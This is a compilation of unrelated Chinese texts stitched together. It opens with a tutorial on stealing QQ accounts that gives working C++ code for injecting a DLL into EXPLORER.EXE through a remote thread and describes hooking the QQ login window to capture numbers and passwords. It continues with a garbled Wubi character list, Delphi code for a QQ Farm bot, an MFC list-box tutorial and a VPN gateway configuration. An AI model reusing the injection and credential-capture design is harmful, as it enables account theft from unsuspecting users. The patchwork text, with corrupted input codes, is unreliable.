vc QQ

合集下载

通过代码盗扣扣号

通过代码盗扣扣号

通过代码盗扣扣号经常有听到有朋友QQ被盗的消息,总感觉做出这种⾏为的⼈是可鄙的,不就是对QQ窗⼝进⾏监视,然后再是记录⽤户输⼊的号码和密码,认为没什么了不起。

对于Windows核⼼编程,本⼈还是⼀只菜鸟,前⼀段时间把《Windows系统编程》粗略的看⼀边(当然重点地⽅仔细的看),由于对于C++有点基础,感觉学起来⽐较容易上⼿。

但到了这两天真正实践的时候,遇到了各种各样的问题。

即使⼀个⼩⼩的问题都⾜以让我这只菜鸟郁闷⽼半天。

直到此时,在完成这个软件的时候,整理⼀下思路,不但算是给⾃⼰个总结,也跟像我⼀样的菜鸟们分享⼀下⾃⼰的经验。

想必⼤家都已经知道,这类软件的特点就是在⽤户不知不觉的时候⼯作。

在任务管理器中是看不到它们的,这就是隐藏了进程。

采⽤插⼊内核的嵌⼊⽅式、利⽤远程插⼊线程技术、嵌⼊DLL线程、或挂接PSAPI等都可以达到效果,哎,既然是个菜鸟就选择⼀个最简单的来做个实验。

先讲⼀下思路:需要三个进程A,B,C;两个DLL。

初始进程A,⽤于在进程B中创建远程线程,创建成功⽴即退出,不会留给任务管理器任何捕捉它的机会(你根本来不及观察)。

进程B作为远程线程的寄主,选择的时候应该是那些系统中必须执⾏的进程,⽐如EXPLORER.EXE。

其中的远程线程⽤于监视⽬标进程。

进程C为⽬标进程在这⾥也就是QQ.EXE。

第⼀个DLL(InspectQQLandDlg.dll),远程线程的载体。

第⼆个DLL(MyHook.dll),全局钩⼦函数的载体。

现在要做是利⽤进程A把InspectQQLandDlg.dll映射到进程B,同时启动该DLL中的远程线程,再利⽤该线程监视⽬标进程(QQ.EXE)QQ登陆窗⼝,⼀旦找到,⽴即把MyHook.dll映射到⽬标进程来监视⽤户的输⼊。

这样也清楚了这个软件设计的总体构架,下⾯⽤代码来具体实现。

1。

远程线程的创建。

先利⽤进程快照取得⽬标进程,相对⽐较简单HANDLE hSnapshot ;hSnapshot = CreateToolhelp32Snapshot ( TH32CS_SNAPPROCESS, 0 ) ;if ( hSnapshot == INVALID_HANDLE_VALUE){return 0;}string lpName = "EXPLORER.EXE" ; //设定需要监视的进程名PROCESSENTRY32 pe;pe.dwSize = sizeof ( PROCESSENTRY32 );for( BOOL fOk = Process32First ( hSnapshot, &pe ) ; fOk; fOk =Process32Next( hSnapshot, &pe ) ){if ( pe.szExeFile == lpName ){//取得宿主进程(EXPLORER.EXE)的句柄HANDLE hRemoteProcess = OpenProcess ( PROCESS_ALL_ACCESS,false, pe.th32ProcessID ) ;//取得⽬标DLL的当前路径(路径可⾃由设置)char szInspectDllPath[128] ;GetCurrentDirectory ( 128, szInspectDllPath ) ;strcat ( szInspectDllPath, "QQLandDlg.dll">\\debug\\InspectQQLandDlg.dll" ) ;//申请存放⽂件名的空间LPVOID pszInspectDllRemote ;int InspectDllNameLength = sizeof ( szInspectDllPath ) + 1 ;pszInspectDllRemote = VirtualAllocEx ( hRemoteProcess,NULL, InspectDllNameLength, MEM_COMMIT, PAGE_READWRITE ) ;//把dll⽂件名写⼊申请的空间WriteProcessMemory ( hRemoteProcess, pszInspectDllRemote,(LPVOID)szInspectDllPath, InspectDllNameLength, NULL);//获取动态链接库函数地址HMODULE hModule ;hModule = GetModuleHandle ( "kernel32.DLL" ) ;LPTHREAD_START_ROUTINE fnStartAddr ;fnStartAddr = ( LPTHREAD_START_ROUTINE ) GetProcAddress ( hModule,"LoadLibraryA" ) ;//创建远程线程HANDLE hInspectRemoteThread = NULL ;//存放远程线程句柄hInspectRemoteThread = CreateRemoteThread ( hRemoteProcess, NULL, 0,fnStartAddr, pszInspectDllRemote, 0, NULL ) ;if( hSnapshot != NULL )CloseHandle ( hSnapshot ) ;//关闭进程快照CloseHandle ( hRemoteProcess ) ;break ;}}2。

五笔难打的字(收集整理)

五笔难打的字(收集整理)

五笔难打的字(收集整理)常见五笔难打的字:弓(XNG )臼(VTH )刁(NGD )斤(RTT )甲(LHNH )乙(NNL )垂(TGA)曳( JXE ) 鼠( VNU )养(UDYJ )羊(UDJ )藏(ADNT ) 冇(DMB )尴尬(DNDN )粤( TLO )兜(QRNQ )鹿(YNJ X )嗤(KBHJ)夕(QTNY)丫(UHK)兆(IQV)戈(AGNT) 弋(AGNY)戊(DNY) 戌(DGN) 戍( DYNT ) 凹(MMGD)凸(HGM)常见五笔难打字分类:1、字偏旁(GGL) (HHL) 丿(TTL) ( YYL) 灬(OYY) 兀(GQV) 扌RGH)(PYY) 纟(XXX) (BNH) 辶(PYNY)亻(WTH)氵(IYYG)疒(UYGG)(AGHH) 皿(LHN) 夂( TTN )彳( TTTH )乙( NNLL )BNHG )屮BHK)BYI )乇( TA )2、字笔划GGLL 〕 〔HHLL 〕 丿〔TTFL 〕 NNLL 〕〔 HHGG 〕 千 〔 TFK及 〔EYI 〕NNNN 〕 己〔 NNGN 〕 巳〔NNGN 〕卫 BGD 孑〔BNHG 〕 孓〔BYI 飞〔 NUI 〕 习〔 NUD 〕乡〔 XTE 〕弓〔 XNG 〕夕〔 QTNY 〕RHK 〕尸〔NNGT 〕兀〔GQV 〕习〔NU 〕 四画乙〔 NNLL 〕 二画丁 〔 SGH 〕七〔AGN 〕九〔VTN 〕匕〔XTN 〕刁〔NGD 〕 了〔 BNH乃 〔 ETN 〕乜 〔NNV 〕人 〔WWWW 〕八〔 WTY 〕入TYI 〕三画DGGG 〕 干 〔 FGGH 〕 FHK 〕 于 〔 GFKFNV 〕才 〔FTE〔 GHI 〕 丈 〔 DYI 〕 GNGD 〕 万 〔 DNV乞〔TNB 〕川〔KTHH 〕么〔TCU久 〔 QYI 〕丸 〔 VYI亡 〔 YNV 〕丫〔 YHK 〕 义YQI 〕 之 PPPP 〕〕也 BNHN弋〔 AGNY 〕〔DHK〕井〔FJK〕开GAK〕亓〔FJJ〕夫〔FWI GDI 〕〔FQB〕无〔FQV〕云〔FCU〕专〔FNYI〕AGHG 〕GGHG 〕支〔FCU 〕卅GKK〕不〔GII〕GBNV 〕GXGD 〕中〔KHK 〕内〔MWI 〕午〔TFJTAKTAK QAV MYD NYI NFD〕长〔TAYI 〕反〔RCI 〕爻〔QQU丐〔GHNV牙〔AHTE壬〔TFD〕乏〔TPI〕乌〔QNGD 〕卞〔YHI 〕为〔YLYI 〕尹〔VTE〕巴〔CNHN 〕以〔CYWYMHNY 〕冇〔DMB〕戈〔AGNT〕户〔YNE〕见〔MQB 〕毛〔TFN 〕片〔THGN 〕斗〔UFK文〔YYGY 〕五画末〔GSI 〕未〔FII〕〕予〔CBJ 〕书〔NNHY 〕匹〔AQV 〕切〔 AV 〕〕瓦〔GNYN 〕尤〔DNV击〔FMK 〕戋〔GGGT 〕正〔GHD AFD 〕世〔ANV 〕本〔SGD 〕术〔SYI 〕可〔SKD 〕丙 〔 GMWI 〕左 〔DAF 〕 丕 〔GIGF 〕右〔DKF 〕布〔DMHJ 〕 戊〔DNYT 〕平 〔 GUHK 〕东 〔 AII 〕 卡〔〔 HHU 〕 北〔UX 〕 凸〔HGMG 〕归〔JVG 〕 且 〔 EGD 〕 申 〔 JHK 〕 甲 〔 LHNH 〕 由 〔 MHNG 〕 史 〔 KQI 〕 央 〔 MDI 〕 册〔 MMGD 〕冉 〔 MFD 〕 凹 〔 MMGD 〕 生 〔 TGD 〕 失 〔 RWI 〕 乍 〔 THFD 〕 丘 〔 RGD 〕 斥 〔 RYI 〕 卮 〔 RGBV 〕 乎 〔TUHK 〕 丛 〔WWGF 〕 用 〔ETNH 〕 甩 〔 ENV 〕氐 QAYI 〕 乐 〔 QII 〕 匆 〔QRYI 〕 包 〔QNV 〕 玄 〔YXU 〕 、人 〔 UFF 〕半 〔 UFK 〕 头 〔 UDI 〕 必 〔 NTE 〕 司 〔 NGKD 〕 民 〔 NAV 〕 弗 〔 XJK 〕疋 〔NHI 〕 出 〔 BMK 〕 丝〔XXGF 〕 田〔LLLL 〕 四〔LH 〕鸟 〔 QYNG 〕矢 〔 TDU 〕 示 〔 FI 〕发 〔 NTCY 〕永 〔 YNI 〕 处〔TH 〕灭 〔 GOI 〕 优 〔 WDN 〕 龙 〔 DXV 〕 仗 〔 WDYY 〕 矛 〔 CBT 〕 六画 戎 〔 ADE〕 孝 〔 FTGN 〕 老 FTXB 〕 亚 〔 GOGD 〕亘〔GJGF 〕吏〔GKQI 〕再〔GMFD 〕戌〔DGNT 〕在〔DHFD 〕百〔DJF 〕而〔DMJJ 〕戍〔DYNT 〕死〔GQXB 〕成〔DNNT 〕夹〔GUWI 〕夷〔GXWI 〕尧〔ATGQ 〕至〔GCFF 〕乩〔HKNN 〕师〔JGMH 〕曳〔JXE 〕曲〔MAD 〕网〔MQQ 〕肉〔MWW 〕年〔RHFK 〕朱〔RII 〕丢〔TFCU 〕乔〔TDJJ〕乒〔RGTR 〕乓〔RGYU 〕向〔TMKD 〕囟〔TLQI 〕后〔RGKD 〕兆〔IQV〕舛〔QAHH 〕产〔UTE 〕关〔UDU 〕州〔YTYH 〕兴〔IWU 〕农〔PEI〕尽〔NYUU 〕丞〔BIGF 〕戌〔DGN 〕买〔NUDU 〕臼〔VTH 〕羊〔UDJ 〕竹〔TTG 〕羽〔NNY 〕考〔FTGN 〕早〔JH 〕场〔FNRT 〕传〔WFNY 〕那〔VFB 〕舟〔TEI 〕西〔SGHG 〕亦〔YOU 〕伞〔WUHJ〕伪〔WY 〕先〔TFQ 〕七画戒〔AAK 〕严〔GODR 〕巫〔AWWI 〕求〔FIYI〕甫〔GEHY 〕更〔GJQI 〕束〔GKII 〕两〔GMWW 〕丽〔GMYY 〕来〔GOI〕芈〔GJGH〕串〔KKHK 〕邑〔KCB 〕我〔TRNT 〕囱〔TLQI 〕希〔QDMH 〕坐〔WWFF 〕龟〔QJNB 〕卵〔QYTY 〕岛〔QYNM 〕兑〔UKQB 〕弟〔UXHT 〕君〔VTKD 〕每〔TXG 〕身〔TMD 〕低〔WQA 〕辰〔DFE 〕忘〔YNNU 〕判〔UDJH 〕余〔WTU 〕彤〔MYE 〕删〔MMGJ〕即〔VCB 〕坏〔FGI 〕应〔YID 〕八画奉〔DWFH 〕武〔GAHD 〕表〔GEU 〕者〔FTJF〕其〔ADWU〕直〔FHF 〕丧〔FUEU 〕或〔AKGD〕事〔GKVH〕枣〔GMIU 〕卖〔FNUD〕非〔DJDD 〕些〔HXFF 〕果〔JSI 〕畅〔JHNR〕垂〔TGAF〕乖〔TFUX〕秉〔TGVI 〕臾〔VWI 〕卑〔RTFJ 〕阜〔WNNF〕乳〔EBNN 〕周〔MFKD〕枭〔QYNS 〕氓〔YNNA 〕卷〔UDBB 〕单〔UJFJ 〕肃〔VIJK〕隶〔VII 〕承〔BDII 〕亟〔BKCG 〕废〔YNTY 〕茂〔AND〕昆〔JX 〕服 〔 EBC制〔 RMHJ 〕官 〔 PN使 〔 WGKQ 〕 变 〔 YOCU 〕 雨 FGHY齿 〔HWB 肃 〔VI J 〕 肺〔 EGM 〕 练〔 XAN 〕 阜 〔WNNF 〕MAW 〕九画DWGD 〕 FAKD 〕 甚 〔 ADWN 〕 巷 〔 AWNB 〕GLII 〕 咸〔 DGKT 〕DGV 〕 歪〔 GIGH 〕面〔 DMJD 〕 韭〔 DJDG 〕JTYJ 〕禺 〔 JMHY 〕XXMK 〕 RDFH 〕 重 〔 TGJF 〕 禹〔 TKMY 〕WWEG 〕 胤 〔TXEN 〕UDYJ 〕叛〔 UDRC 〕 首 UTHF 〕IWFH 〕NYJG 〕 咫 〔 NYKW 〕 WGDU 〕 贰 〔 AFM 〕 绕 〔 XATUTER 〕贯 〔 XFM 〕 WNNP 〕食〔 WYVE 〕 派 〔 IRE 函 〔 BIB VCAQ 〕 BYNW 〕RJX 〕秭 〔 TTNT 〕 穿 〔 PWAT 〕 柔 〔CBTS 〕 QTGW 〕 勉〔 QKQL 〕 毒 〔GXGU 〕 革 〔 AF 〕艳 〔 DHQC 〕 袁 〔FKEU 〕 哥 〔 SKSK 〕 鬲〔 GKMH 〕 孬 〔 GIVB 〕乘 〔TUXV 〕鬯 〔QOBX 〕 玺 〔QIGY 〕 高 〔 YMKF 〕 离〔YBMC 〕弱 〔 XUXU 〕 哿 〔 LKSK 〕能 〔 CEXX 〕 殷 〔 RVNC 〕 套 〔 DDU 〕 恭〔 AWNU 〕 晓 〔 JAT 〕 啊 〔KBS 〕酒〔 ISGG 〕盏 〔GLF 〕 段 〔 WDM 〕 栽 〔 FAS 脑 〔 EYB 〕 钺 〔QANT 〕造 〔TFKP 〕耕 〔DIFJ 〕蚩〔BHGJ 〕 冤 〔 PQKY 〕 缺 〔 RMN 〕 饿 〔 QNT 〕旅〔 YTEY 〕画焉 〔 GHGO 〕 黄〔 AMWU 〕 乾 〔FJTN 〕 啬 〔GULK 〕 戚 〔 DHIT 〕 匏 〔DFNN 〕爽 〔 DQQQ 〕 匙 〔JGHX 〕象〔QJEU 〕 够〔 QKQQ 〕 馗 〔 VUTH 〕 孰 〔 YBVY 〕兽i=r 〔 ULGK 〕 艴〔 XJQC 〕 胬 〔 VCMW 〕 兜 〔 QRN 〕 盛 〔 DNNL 〕 械 〔 SA 〕圈〔 LUDB 〕 着 〔 DUH 〕 敝〔 UMIT 〕 添 〔IGDN 〕 鹿 〔 YNJX 〕斜 〔WTUF 〕眷 〔 UDHF 〕衅 〔TLUF 〕 雀 〔 IWYF 〕曹 GMA 〕 〕KHGP 〕四画FJWF 〕DQDQ 〕TXGQ 〕TLFF 〕十二画 棘 〔GMII 〕黹 〔OGUI 〕 辉 〔OQPL 〕 鼎 〔 HNDN 〕甥 〔 TGLL 〕 黍 〔TWIU 〕粤〔 TLON 〕 舒 〔WFKB 〕 就 〔YIDN 〕喾 〔 IPTK 〕巯 〔 CAYQ 〕 彘 〔 XGXX 〕翘 〔 ATGN 〕 剩 〔TUXJ 〕越〔FHA 〕 鹅 〔 TRNG 〕缘 〔 XXE 〕 雅〔 AHTY 〕疏 〔 NHYQ 〕寐 〔PNHI 〕寒〔 PFJU 〕 善〔 UDUK 〕十三画鼓 〔 FKUC 〕 赖〔 GKIM 〕 嗣 〔 KMAK 〕叠〔 CCCG 〕鼠 〔VNU 〕勤 〔 AKGL 〕愚 〔 JMHN 〕 慧 〔 dhdn 〕辔 〔 XLX 〕媲DVFH 〕VTLX 〕 龄HWBC 〕 肆FKUK 〕 FWYY 〕 FOFO 〕 聚 BCTI 〕DNHC 〕 DNDT 〕 JSQQ 〕 舞 〔 RLGH 〕EHNN 〕 XTDH 〕QYTB 〕 暨 〔 VCAG 〕傻 〔 WTLT 〕满 〔 IAGW 〕 滚〔 IUC 〕、虫遣舆〔WFL 〕撇〔RUMT 〕貌〔EERQ〕潇〔lAVJ〕SKSW 〕察〔PWFl 〕墙〔FFUK 〕APFL )五画FEHM 〕AHKM 〕TFKD 〕勰〔LLLN 〕CBQE 〕FJWN 〕口直噩GKKK 〕GKlH〕GCFT 〕冀〔UXLW 〕YWKE 〕悲〔DJDN 〕GEHT 〕瘪〔UTHX 〕躺〔TMDK 〕靥(DDDL )六画薛〔AWNU 〕薄〔AlG 〕〔HQ 〕篦〔TTLX〕畿〔XXA 〕七画戴〔FALW 〕EEMK 〕OGUC 〕黏〔TWlK 〕爵〔ELVF〕YNKY 〕馘〔UTHG 〕BDAN 〕霞〔FNHC 〕八画馥〔TJTT〕UJFE〕藏〔ADNT1 〕九画OGUY 〕lQFC〕YNKY 〕羸〔YNKY 〕XFGG 〕锤〔QTGFXTFM 〕瓣〔URCU 〕鬻〔XOXH 〕二画瓤〔YKKY 〕。

QQ农场源代码

QQ农场源代码

//已知BUG//Preprocess 函数所得出的密码有些错误,比如:QQ密码为16位,有各种字符的,就可能登录失败// 可能是Delphi MD5算法的原因,我用VC2005来试过,没有错误.由于工作太忙// 没有时间细细检查,还在麻烦大家试试}unit WebQQFunction;interfaceusesWindows, SysUtils, Classes, StdCtrls, IdBaseComponent, IdComponent, StrUtils, ExtCtrls, IdTCPConnection, IdTCPClient, IdHTTP, jpeg, IdAuthentication, IdHash, IdHashMessageDigest, PublicFunctions, IniFiles, Forms, ComCtrls, SHDocVw, Dialogs, Variants, DateUtils;const//QQ校友农场C;//QQ空间农场C;//登录用的字符串C;C+'login&fp=&h=1&ptredirect=1&ptlang=0&from_ui=1&dumy=1';//操作农场时,IdHTTP Referer 的值通过GetFlaseVersion得到IdHTTP Referer的全部字串C;//FarmKey的形式C;//读取好友列表C;//自己ID,名字,时间,对方名称,farmKeyC;//Cookie的组成C;//升一级加多少经验CONST_OneLevelNum = 200;//取FarmKey时,时间延后多少秒Const_DelayFarmTime = 10;type//背包类型0仓库1商店2包裹TBagsType = (farm_Warehouse, farm_Goods, farm_Bag);//动作类型0偷取1杀虫2浇水3除草4收获// 5松土6种植7全部卖出8购买种子// 9查看消息10所有动作(在PostAction中没有实现义意,不作操作)TActionType =(Action_scrounge, Action_spraying, Action_water, Action_clearWeed,Action_harvest, Action_scarify, Action_planting, Action_Sale, Action_SaleAll,Action_Buy, Action_getAllInfo, Action_ALL_OPP);varQQ_Cookie, VerifySession, farmKey, ConnHost,Cookie_pt2gguin, Cookie_uin, Cookie_skey, Cookie_ptcz,Cookie_pvid, Cookie_name, FlaseVersion: string;farmTime, Cookie_pst: int64;//服务器时间本地时间本地时间与服务器的时间差QQ_ServerTime, Loc_ServerTime, DelayedDpikeInt : integer;//将本地时间转成QQ服务器时间function DateTimeToServerTime(aDateTime: TDateTime): integer;function Preprocess(aPassWord, aVerifyCode:string):string;//取得Flash版本通过GetFlaseVersion得到IdHTTP Referer的全部字串procedure GetFlaseVersion(var aStr: string);//取得验证码function GetVerifyPic(aIdHTTP:TIdHTTP; var aImage: TImage): boolean;//将汉字转换为unicode码function AnsiToUnicode(aSubWideChar: PWideChar):string;//将unicode码转换为汉字function UnicodeToAnsi(aSubUnicode: string):string;//提取字符串function SubString(aInputStr, aStr_L, aStr_R:string):string;function HashStr2BinStr(Hash: string):string;function Fmd5(str: string):string;//以Web形式登录QQfunction LoginQQ(aIdHTTP: TIdHTTP; aUserNameStr, aPasswordStr, aVerifyStr: string; var aWebStr: string): Boolean;//登录QQ校友社区function LoginQQxiaoyou(aIdHTTP: TIdHTTP): Boolean;//取自己农场数据function GetMyFarmLandDB(aIdHTTP: TIdHTTP; var aWebStr: string): Boolean;//取好友列表数据function GetFriendsListDB(aIdHTTP: TIdHTTP; var aWebStr: string): Boolean;//取好友农场数据function GetFriendFarmLandDB(aIdHTTP: TIdHTTP; aUserID: integer; var aWebStr: string): Boolean;//计算等级返回等级function ResultLevel(aSumExp:integer; var aNowExp, aOutLevelMaxExp: integer): integer;//分析仓库商店背包数据aType 0仓库1商店2背包function PostBagsBD(aIdHTTP:TIdHTTP; var aWebStr: string; aType: TBagsType): boolean;//动作类型0偷取1杀虫2浇水3除草4收获// 5松土6种植7全部卖出8购买种子// 9查看消息10所有动作(在PostAction中没有实现义意,不作操作)////aActionType动作类型是种植\卖出\购买种子还是做什么在此赋值//aOwnerId是自己的UserID 必须为自己的UserID//aPlace为地块的序号,从0开始不用时可为0//aSeedID 为作物\种子的aID 种植\卖出\购买种子时用到不用时可为0function PostAction(aIdHTTP: TIdHTTP; var aWebStr: string; aActionType: TActionType;aOwnerId, aPlace, aSeedID: integer): boolean;//取得farmKeyfunction GetfarmKey(aInputTimeInt: Int64; var aFarmTime: int64; var aFarmKey: string): Boolean;//写日志文件procedure WriteLog(aQQnum, aLogStr, aAppPah: String);implementation//将本地时间转成QQ服务器时间getTime() 方法傳回從1970 年1 月1 日午夜開始計算的毫秒數function DateTimeToServerTime(aDateTime: TDateTime): integer;beginResult:= DateTimeToUnix(aDateTime)-28800;end;//提取字符串function SubString(aInputStr, aStr_L, aStr_R:string):string; varsPosB,sPosE:integer;Lwhtml,LwCstr_L,LwCstr_R:string;beginResult:='';if Trim(aInputStr)='' thenExit;Lwhtml:= LowerCase(aInputStr);LwCstr_L := LowerCase(aStr_L);LwCstr_R := LowerCase(aStr_R);sPosB:= Pos(LwCstr_L, Lwhtml) + Length(LwCstr_L); sPosE:= PosEx(LwCstr_R, Lwhtml, sPosB);if (sPosB<sPosE) and (sPosE>0) thenResult:=Copy(aInputStr, sPosB, sPosE-sPosB);end;function HashStr2BinStr(Hash:string):string;varbuf:array[0..63] of Char;i:Integer;beginResult:='';FillChar(buf, SizeOf(buf),0);SetLength(Result, Round(Length(Hash)/2));FillChar(Result[1], Length(Result),0);HexToBin(PChar(Hash), buf,SizeOf(buf));for i:=0 to Round(Length(Hash)/2)-1 doResult:= buf;end;function Fmd5(str:string):string;varmd5 : TIdHashMessageDigest5;longWordRec : T4x4LongWordRecord;beginmd5 := TIdHashMessageDigest5.Create;try{$IFDEF ID10}Result:= md5.HashStringAsHex(str);{$ELSE}longWordRec:= md5.HashValue(str);Result:= md5.AsHex(longWordRec);{$ENDIF}finallymd5.Free;end;end;function md5_3(str:string):string;beginResult:= Fmd5(str);Result:= HashStr2BinStr(Result);Result:= Fmd5(Result);Result:= HashStr2BinStr(Result);Result:= Fmd5(Result);end;function Preprocess(aPassWord, aVerifyCode:string):string;beginResult:= Fmd5(md5_3(aPassWord) + UpperCase(aVerifyCode));end;//取得Flash版本procedure GetFlaseVersion(var aStr: string);vartmpGerVersion: string;tmpIdHTTP: TIdHTTP;RespData: TStringStream;begintryRespData:= TStringStream.Create('');tmpIdHTTP:= TIdHTTP.Create(Application);tmpGerVersion:= Const_Flase_Version+'ini.xml';tmpIdHTTP.Get(tmpGerVersion, RespData);tmpGerVersion:= Utf8ToAnsi(RespData.DataString);tmpGerVersion:= SubString(tmpGerVersion, 'name="main" url="module/', '"'); if pos('Main.swf?v=', tmpGerVersion)=0 thentmpGerVersion:= 'Main.swf?v=57';aStr:= Const_Flase_Version + tmpGerVersion;exceptend;tmpIdHTTP.Free;end;//取得验证码function GetVerifyPic(aIdHTTP:TIdHTTP; var aImage: TImage): boolean;varms:TMemoryStream;pic:TJPEGImage;beginResult:=False;tryms:=TMemoryStream.Create;tryaIdHTTP.Request.SetHeaders;aIdHTTP.Request.RawHeaders.Clear;aIdHTTP.Request.Accept:= '*/*';aIdHTTP.Request.AcceptLanguage:= 'zh-CN';aIdHTTP.Request.Referer:= '/cgi-bin/login?link_target=blank&appid=15000102'; aIdHTTP.Request.ContentType:= 'application/x-www-form-urlencoded';aIdHTTP.Request.AcceptEncoding:= 'gzip, deflate';erAgent:= 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)'; aIdHTTP.Request.Connection:= 'Keep-Alive';aIdHTTP.Request.CacheControl:= 'no-cache';aIdHTTP.Request.Host:= '';aIdHTTP.Request.URL:= Format('/getimage?aid=15000102&%0.15f', [Time()]);aIdHTTP.Host:= '';aIdHTTP.ReadTimeout:= 15000;aIdHTTP.Get( Format('/getimage?aid=15000102&%0.15f', [Time()]) , ms);ms.Position:=0;pic:=TJPEGImage.Create;trypic.LoadFromStream(ms);aImage.Picture.Assign(pic);finallypic.Free;end;QQ_Cookie:= '';QQ_Cookie:= SubString(aIdHTTP.Response.RawHeaders.Text, 'Set-Cookie: verifysession=', ';');QQ_Cookie:= 'verifysession=' + QQ_Cookie + ';';VerifySession:= QQ_Cookie;aIdHTTP.Request.CustomHeaders.Clear;aIdHTTP.Request.CustomHeaders.Add('Cookie:'+QQ_Cookie);Result:= True;finallyms.Free;end;end;end;//转换function Str_Gb2UniCode(text: string): String;vari,len: Integer;cur: Integer;t: String;ws: WideString;beginResult := '';ws := text;len := Length(ws);i := 1;while i <= len dobegincur := Ord(ws);FmtStr(t,'%4.4X',[cur]);Result := Result + t;Inc(i);end;end;//将汉字转换为unicode码function AnsiToUnicode(aSubWideChar: PWideChar):string;vartmpLen, iCount: integer;beginResult:= '';tmpLen:= Length(aSubWideChar);for iCount:= 1 to tmpLen doResult:= Result + '\u'+IntToHex(Ord(aSubWideChar[iCount-1]), 2); end;//将unicode码转换为汉字function UnicodeToAnsi(aSubUnicode: string):string;vartmpLen, iCount: Integer;tmpWS: WideString;tmpWS := '';iCount := 1;tmpLen := Length(aSubUnicode);while iCount <= tmpLen dotryif (Copy(aSubUnicode, iCount, 1)='\')and(Copy(aSubUnicode, iCount, 2)='\u') then //'\u7eff\/zq\u75d5'begintmpWS := tmpWS + WideChar(StrToInt('$' + Copy(aSubUnicode, iCount+2, 4)));iCount := iCount+6;endelsebegintmpWS := tmpWS + Copy(aSubUnicode, iCount, 1);iCount := iCount+1;end;exceptend;Result := tmpWS;end;//以Web形式登录QQfunction LoginQQ(aIdHTTP: TIdHTTP; aUserNameStr, aPasswordStr, aVerifyStr: string; var aWebStr: string): Boolean;varPostData, RespData: TStringStream;tmpStr: string;beginPostData:= TStringStream.Create( Format(Const_PostLoginInfo, [aUserNameStr,Preprocess(aPasswordStr, aVerifyStr),aVerifyStr])+ Const_PostLoginStr);RespData:= TStringStream.Create('');Result:= False;aWebStr:= '';tryaIdHTTP.ReadTimeout:= 15000;aIdHTTP.Request.Accept:= 'image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*';aIdHTTP.Request.ContentType:= 'application/x-www-form-urlencoded';aIdHTTP.Request.Host:= '';aIdHTTP.Request.Referer:= '/cgi-bin/login?appid=15000102';erAgent:= 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)';aIdHTTP.Request.AcceptEncoding:= 'gzip, deflate';aIdHTTP.Request.URL:= '/login';//aIdHTTP.Request.SetHeaders;aIdHTTP.Request.RawHeaders.Values['Cookie'] := 'Cookie:'+QQ_Cookie;aIdHTTP.Post('/login', PostData, RespData);tmpStr:= Utf8ToAnsi(RespData.DataString);if pos('如果未能自动跳转,请<a href="/index.php?mod=login" target="_top">点击</a>完成跳转。

VC MFC列表框(CListBox)控件

VC MFC列表框(CListBox)控件

列表框控件简单应用重复性的过程我就不详细讲明了,只给出类里面函数的解释。

int CListBox::AddString( LPCTSTR lpszItem );//添加一个项,lpszItem是项文本内容int CListBox::InsertString( int nIndex, LPCTSTR lpszItem );//同上,只不过这个可以指定项位置(索引),由参数nIndex指定int CListBox::GetCurSel( ) const;//获取当前选中项的索引,函数返回索引值int CListBox::GetText( int nIndex,CString &rString ) const;//根据索引获得项文本int CListBox::GetCount( ) const;//获取项数量void CListBox::ResetContent( );//删除列表框所有的项int CListBox::DeleteString( UINT nIndex );//根据项索引从列表框删除一个项int CListBox::SetItemHeight( int nIndex, UINT cyItemHeight );//设置一个项的高度,注意:列表框具有//LBS_OWNERDRAWVARIABLE风格才可以单独设置一个项的高度,否则是所有项的高度自绘列表框这里自绘要达到的效果,就是简单模仿一下QQ界面里类似列表框控件的那种效果,先往对话框里添加列表框控件.然后再改一下列表框的属性,所有者绘制项选择固定,有字符串前面打上勾.接着准备两张位图,一张用于列表框的背景,一张用于项选中时的背景,ID号分别为:IDB_BK、IDB_SELECTED如下两张位图:再导入五张位图(QQ头像),ID号保持默认不变。

从CListBox派生出子类CNewListBox,往CNewListBox添加一个函数,用于画位图,函数如下:void CNewListBox::DrawBK(CDC *pDC, CRect rect, UINT uIDBK){CDC memDC;memDC.CreateCompatibleDC(pDC);//兼容DCCBitmap bmp;bmp.LoadBitmap(uIDBK);//加载位图BITMAP bmpInfo;bmp.GetBitmap(&bmpInfo);//获取位图信息memDC.SelectObject(&bmp);//选入位图pDC->StretchBlt(rect.left,rect.top,rect.Width(),rect.Height(),&memDC,0,0,bmpInfo.bmWidth,bmpInfo.bmHeight,SRCCOPY);bmp.DeleteObject();memDC.DeleteDC();}然后给CNewListBox添加WM_ERASEBKGND消息处理函数,这个消息是系统擦除背景时产生。

网神安全网关配置方法

网神安全网关配置方法

网神安全网关配置方法1. 将计算机IP地址设置为10.50.10.44,掩码255.255.255.0,网关10.50.10.45,连接在VPN网关的FE1口。

2. 打开VPN网关配套光盘中的Admin Cert目录,双击证书文件SecGateAdmin.p12,弹出如下窗口。

按提示进行安装,密码为“123456”,其它按默认即可安装成功。

3. 在IE浏览器中输入:https://10.50.10.45:8889,密码为firewall进入VPN网关管理界面。

4. 进入VPN网关管理界面。

5. 选择系统配置——》导入导出。

点击“浏览”,选择配置文件fwconfig.txt。

fwconfig.txt 如下:# hardware version: SecGate 3600-F3(SJW79)A# software version: 3.6.4.26# hostname: SecGate# serial number: f6f335072669bb05defaddr delalladdrdefaddr add DMZ 0.0.0.0/0.0.0.0 comment "DMZ"defaddr add Trust 0.0.0.0/0.0.0.0 comment "Trust"defaddr add Untrust 0.0.0.0/0.0.0.0 comment "Untrust"vpn set default prekey PleaseInputPrekey ikelifetime 28800 ipseclifetime 3600 vpnstatus on vpnbak offvpn onvpn add remote static main psk name xian addr 222.91.74.218 prekey PleaseInputPrekey ike 3des-sha1-dh5,aes-sha1-dh5 initiate on obey off nat_t on ikelifetime 28800 dpddelay 0 dpdtimeout 0vpn add tunnel name xian_qianxian local 61.185.40.23 remote xian auth esp ipsec aes128-md5,3des-sha1 pfs on dh_group 5 ipseclifetime 3600 proxy_localip 0.0.0.0 proxy_localmask 0.0.0.0 proxy_remoteip 0.0.0.0 proxy_remotemask 0.0.0.0anti synflood fe1 200anti icmpflood fe1 1000anti pingofdeath fe1 800anti udpflood fe1 1000anti pingsweep fe1 10anti tcpportscan fe1 10anti udpportscan fe1 10anti synflood fe2 200anti icmpflood fe2 1000anti pingofdeath fe2 800anti udpflood fe2 1000anti pingsweep fe2 10anti tcpportscan fe2 10anti udpportscan fe2 10anti synflood fe3 200anti icmpflood fe3 1000anti pingofdeath fe3 800anti udpflood fe3 1000anti pingsweep fe3 10anti tcpportscan fe3 10anti udpportscan fe3 10anti synflood fe4 200anti icmpflood 